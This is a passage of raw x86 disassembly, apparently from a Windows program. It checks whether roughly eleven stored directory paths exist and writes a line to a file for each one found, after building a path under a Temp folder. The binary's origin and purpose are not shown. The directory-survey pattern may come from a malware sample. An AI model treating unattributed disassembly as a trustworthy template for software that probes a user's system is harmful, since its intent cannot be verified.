mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4163f7
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4163ed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168f6
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea edx, [ebp - 0x690]
lea ecx, [ebp - 0x3340]
call fcn.00414550
lea edx, [ebp - 0x898]
lea ecx, [ebp - 0x3548]
call fcn.00414550
lea edx, [ebp - 0xaa0]
lea ecx, [ebp - 0x3750]
call fcn.00414550
lea edx, [ebp - 0xca8]
lea ecx, [ebp - 0x3958]
call fcn.00414550
lea edx, [ebp - 0xeb0]
lea ecx, [ebp - 0x3b60]
call fcn.00414550
lea edx, [ebp - 0x10b8]
lea ecx, [ebp - 0x3d68]
call fcn.00414550
lea edx, [ebp - 0x12c0]
lea ecx, [ebp - 0x3f70]
call fcn.00414550
lea edx, [ebp - 0x14c8]
lea ecx, [ebp - 0x4178]
call fcn.00414550
lea edx, [ebp - 0x16d0]
lea ecx, [ebp - 0x4380]
call fcn.00414550
lea edx, [ebp - 0x18d8]
lea ecx, [ebp - 0x4588]
call fcn.00414550
lea edx, [ebp - 0x1ae0]
lea ecx, [ebp - 0x4790]
call fcn.00414550
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x78]
call fcn.00405bc0
add esp, 4
push 0x4cf70c
mov edx, eax
mov dword [ebp - 4], 0x15
lea ecx, [ebp - 0x60]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4164e8
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x280]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x4c]
cmp edx, 8
jb 0x416531
mov ecx, dword [ebp - 0x60]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416527
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168fb
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x64]
xor eax, eax
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 7
mov word [ebp - 0x60], ax
cmp edx, 8
jb 0x41657f
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416575
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168fb
push edx
push ecx
call fcn.004a24e6
add esp, 8
cmp word [ebp - 0x690], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
je 0x4165cb
lea eax, [ebp - 0x690]
push eax
call edi
cmp eax, 0xffffffff
je 0x4165cb
shr eax, 4
and al, 1
je 0x4165cb
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x898], 0
je 0x416611
lea eax, [ebp - 0x898]
push eax
call edi
cmp eax, 0xffffffff
je 0x416611
shr eax, 4
and al, 1
je 0x416611
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0xaa0], 0
je 0x416657
lea eax, [ebp - 0xaa0]
push eax
call edi
cmp eax, 0xffffffff
je 0x416657
shr eax, 4
and al, 1
je 0x416657
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0xca8], 0
je 0x41669d
lea eax, [ebp - 0xca8]
push eax
call edi
cmp eax, 0xffffffff
je 0x41669d
shr eax, 4
and al, 1
je 0x41669d
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0xeb0], 0
je 0x4166e3
lea eax, [ebp - 0xeb0]
push eax
call edi
cmp eax, 0xffffffff
je 0x4166e3
shr eax, 4
and al, 1
je 0x4166e3
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x10b8], 0
je 0x416729
lea eax, [ebp - 0x10b8]
push eax
call edi
cmp eax, 0xffffffff
je 0x416729
shr eax, 4
and al, 1
je 0x416729
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x12c0], 0
je 0x41676f
lea eax, [ebp - 0x12c0]
push eax
call edi
cmp eax, 0xffffffff
je 0x41676f
shr eax, 4
and al, 1
je 0x41676f
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x14c8], 0
je 0x4167b5
lea eax, [ebp - 0x14c8]
push eax
call edi
cmp eax, 0xffffffff
je 0x4167b5
shr eax, 4
and al, 1
je 0x4167b5
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x16d0], 0
je 0x4167fb
lea eax, [ebp - 0x16d0]
push eax
call edi
cmp eax, 0xffffffff
je 0x4167fb
shr eax, 4
and al, 1
je 0x4167fb
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x18d8], 0
je 0x416841
lea eax, [ebp - 0x18d8]
push eax
call edi
cmp eax, 0xffffffff
je 0x416841
shr eax, 4
and al, 1
je 0x416841
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
cmp word [ebp - 0x1ae0], 0
je 0x416887
lea eax, [ebp - 0x1ae0]
push eax
call edi
cmp eax, 0xffffffff
je 0x416887
shr eax, 4
and al, 1
je 0x416887
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
push 0x4cee7c
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3